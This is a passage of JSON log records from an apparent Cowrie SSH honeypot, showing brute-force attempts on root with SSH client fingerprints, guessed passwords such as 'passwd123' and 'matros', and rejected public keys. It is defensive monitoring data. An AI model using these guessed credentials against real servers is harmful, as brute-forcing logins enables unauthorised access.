es192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:29.602511Z","src_ip":"103.82.20.28","session":"9259e910735e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cegthgfhjkm","message":"login attempt [root/cegthgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:30.410033Z","src_ip":"103.82.20.28","session":"9259e910735e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:31.682723Z","src_ip":"103.82.20.28","session":"9259e910735e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.211.97","src_port":35245,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdaa3d303840","protocol":"ssh","message":"New connection: 45.79.211.97:35245 (159.203.135.109:22) [session: cdaa3d303840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:36:17.956005Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:36:19.236815Z","src_ip":"45.79.211.97","session":"cdaa3d303840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59628,"dst_ip":"10.17.0.5","dst_port":22,"session":"334d2dcaaceb","protocol":"ssh","message":"New connection: 193.228.128.84:59628 (10.17.0.5:22) [session: 334d2dcaaceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:06.882273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:06.887743Z","src_ip":"193.228.128.84","session":"334d2dcaaceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:06.990828Z","src_ip":"193.228.128.84","session":"334d2dcaaceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serafima","message":"login attempt [root/serafima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:07.298373Z","src_ip":"193.228.128.84","session":"334d2dcaaceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:08.406466Z","src_ip":"193.228.128.84","session":"334d2dcaaceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51273,"dst_ip":"159.203.135.109","dst_port":22,"session":"64f1f3851d5a","protocol":"ssh","message":"New connection: 23.97.62.150:51273 (159.203.135.109:22) [session: 64f1f3851d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:36.010551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:36.017310Z","src_ip":"23.97.62.150","session":"64f1f3851d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:36.253724Z","src_ip":"23.97.62.150","session":"64f1f3851d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd123","message":"login attempt [root/passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:36.975244Z","src_ip":"23.97.62.150","session":"64f1f3851d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:37:38.213202Z","src_ip":"23.97.62.150","session":"64f1f3851d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":52500,"dst_ip":"10.17.0.5","dst_port":22,"session":"e68f3c17f7fd","protocol":"ssh","message":"New connection: 94.159.98.239:52500 (10.17.0.5:22) [session: e68f3c17f7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:15.756422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:15.791907Z","src_ip":"94.159.98.239","session":"e68f3c17f7fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:15.915765Z","src_ip":"94.159.98.239","session":"e68f3c17f7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stomatolog","message":"login attempt [root/stomatolog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:16.489355Z","src_ip":"94.159.98.239","session":"e68f3c17f7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:18.013050Z","src_ip":"94.159.98.239","session":"e68f3c17f7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":54418,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f50ca119418","protocol":"ssh","message":"New connection: 103.27.238.114:54418 (159.203.135.109:22) [session: 5f50ca119418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:36.515105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:36.520025Z","src_ip":"103.27.238.114","session":"5f50ca119418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:36.795529Z","src_ip":"103.27.238.114","session":"5f50ca119418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":44044,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f92e0ae328e","protocol":"ssh","message":"New connection: 103.77.175.15:44044 (10.17.0.5:22) [session: 1f92e0ae328e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:37.163499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:37.168761Z","src_ip":"103.77.175.15","session":"1f92e0ae328e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:37.426956Z","src_ip":"103.77.175.15","session":"1f92e0ae328e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elaine","message":"login attempt [root/elaine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:37.623115Z","src_ip":"103.27.238.114","session":"5f50ca119418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matros","message":"login attempt [root/matros] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:38.191089Z","src_ip":"103.77.175.15","session":"1f92e0ae328e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:38.900995Z","src_ip":"103.27.238.114","session":"5f50ca119418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:39.448048Z","src_ip":"103.77.175.15","session":"1f92e0ae328e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.236.86.20","src_port":34610,"dst_ip":"10.17.0.5","dst_port":22,"session":"5860caaa2fc5","protocol":"ssh","message":"New connection: 109.236.86.20:34610 (10.17.0.5:22) [session: 5860caaa2fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.049658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.054752Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.136869Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:4b:35:63:88:a8:4c:55:2e:e4:90:f8:93:8d:1a:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwacx9g/X3V+Eh+YF/55ImR6G/S0j8Hb0u/ZWdEyGtpYBP+Sy+uOdaTit5E+wFxPYZ5qOINhoU08D9SHAvdjAM/hmA+41J+jbLoKsTrFVDPmRVBniH8uS1fYxNPY90SwAEQImKlo4gNi/p8i2Y9L+v3161tQZAYK7x8W84ZIJ8/ztEAB9idLue4EV+URvYknqRtwx7GRL1PpIlDfecK1s+h1uNcNfOAfuC/cXfOwQuLszjNdacrWCr82ehy8ep8g5aI/4a8v+lffDicJdG8Ceqd3wwITmOrvDLz5Zxop0f5wROcrBCJrHOkTlIi/cUUbpVGOju2nvL7nXoV04i7mYIWlPz9vGNxABTI1vNpImrZQhdJtK7YhRLElQc0yV7ecxBBqwhbGA9EqUdHpUmvZvSiGCYxve2POjkRMP0QKRKHnq2sxjKGyRd4PTN90yFAGzDLGoWtPrpux+mflhfetHW7zse/6jAxZchGveutSVN7wJegp/9Z7xE5swnpttXbgs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:4b:35:63:88:a8:4c:55:2e:e4:90:f8:93:8d:1a:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.524635Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:4b:35:63:88:a8:4c:55:2e:e4:90:f8:93:8d:1a:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwacx9g/X3V+Eh+YF/55ImR6G/S0j8Hb0u/ZWdEyGtpYBP+Sy+uOdaTit5E+wFxPYZ5qOINhoU08D9SHAvdjAM/hmA+41J+jbLoKsTrFVDPmRVBniH8uS1fYxNPY90SwAEQImKlo4gNi/p8i2Y9L+v3161tQZAYK7x8W84ZIJ8/ztEAB9idLue4EV+URvYknqRtwx7GRL1PpIlDfecK1s+h1uNcNfOAfuC/cXfOwQuLszjNdacrWCr82ehy8ep8g5aI/4a8v+lffDicJdG8Ceqd3wwITmOrvDLz5Zxop0f5wROcrBCJrHOkTlIi/cUUbpVGOju2nvL7nXoV04i7mYIWlPz9vGNxABTI1vNpImrZQhdJtK7YhRLElQc0yV7ecxBBqwhbGA9EqUdHpUmvZvSiGCYxve2POjkRMP0QKRKHnq2sxjKGyRd4PTN90yFAGzDLGoWtPrpux+mflhfetHW7zse/6jAxZchGveutSVN7wJegp/9Z7xE5swnpttXbgs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.532064Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:0d:26:40:f6:b5:0a:31:11:21:60:e6:34:ae:ad:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1eTcUtU9/VmrahRrmAyyDODotJ0/7EBQv4muLh3YuExC4k2tKHYT1i25sOn9GFA6exyMav627cNdjnuKpg+fMHBsB44u/gfmgpywVEcfg3BWr9zyCx9iPSG3hmlmKxbHi8ni36+JyFFznTJYqpMj+a+39gUGrseObPUUe+OpaTIEACNA8jS3xS9lIu259v8ZmBhjeZ8ghUry+Ne7/x/srzbiyCnXHbr/JUPKLiSde65Ay1nnDijIQACvywt3tmnSRtvSaP8i5jDeoIuOBad0nkifWlFbCJ5wYMbLetYAkFdzJBXkSd0A7cd4bOJVHt30RAfhefevjEusrXm1ICEBrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:0d:26:40:f6:b5:0a:31:11:21:60:e6:34:ae:ad:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.615923Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:0d:26:40:f6:b5:0a:31:11:21:60:e6:34:ae:ad:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1eTcUtU9/VmrahRrmAyyDODotJ0/7EBQv4muLh3YuExC4k2tKHYT1i25sOn9GFA6exyMav627cNdjnuKpg+fMHBsB44u/gfmgpywVEcfg3BWr9zyCx9iPSG3hmlmKxbHi8ni36+JyFFznTJYqpMj+a+39gUGrseObPUUe+OpaTIEACNA8jS3xS9lIu259v8ZmBhjeZ8ghUry+Ne7/x/srzbiyCnXHbr/JUPKLiSde65Ay1nnDijIQACvywt3tmnSRtvSaP8i5jDeoIuOBad0nkifWlFbCJ5wYMbLetYAkFdzJBXkSd0A7cd4bOJVHt30RAfhefevjEusrXm1ICEBrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.619914Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:c1:11:ed:01:0b:60:15:44:6f:ef:62:cb:5a:fe:dc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkdDetLdytRmGYxrgA1i5ectlSdKmFeENHUq8mS+HoKvdycIGFv/9vv584EayWUXnXy73iI7LioUQtAQWeLolvxJCjQljPzBMiBrkLNsSRrxTCzsy2OqffY7bVkv/WW3ELfnqQ3Jvsw76E76Q+fZxC1VZbTJjHSAstMGbZGTBXJAAAAFQCWNkil2JeDZafjFTiKTLr2z7yV/wAAAIAomdUGsFBFrLIBfUkAJiHIgjO4mDnPFXbOOhipzRMxPuJv6gMkzTNcwrAQLL+eML5bx9Ee0ZDWA4d2XeCWyNeK5rTiu02HWNQwEr6k3o/STFvVJloqvM8PFDYDdwTES/sced1DarFYK/pYl4r7JhKq/XaGIFJXMkx/0YZyWdU8SwAAAIA7Wep7IZRWvS7UuItNIJ3g9lQaovSg8ebSO7qikA24tCVEkUwtOQ1nmIjkKT4G/wx5mqVbSpyS4KbuX5bJF9805uhJSAQ0zPJk8GH0HR+BuYHb5KCNWDI2ZTLQJmNZpwGdRF1Tp00J/m06Aqp4GoFMnkldNJtyRk7d2qRjANSuZQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 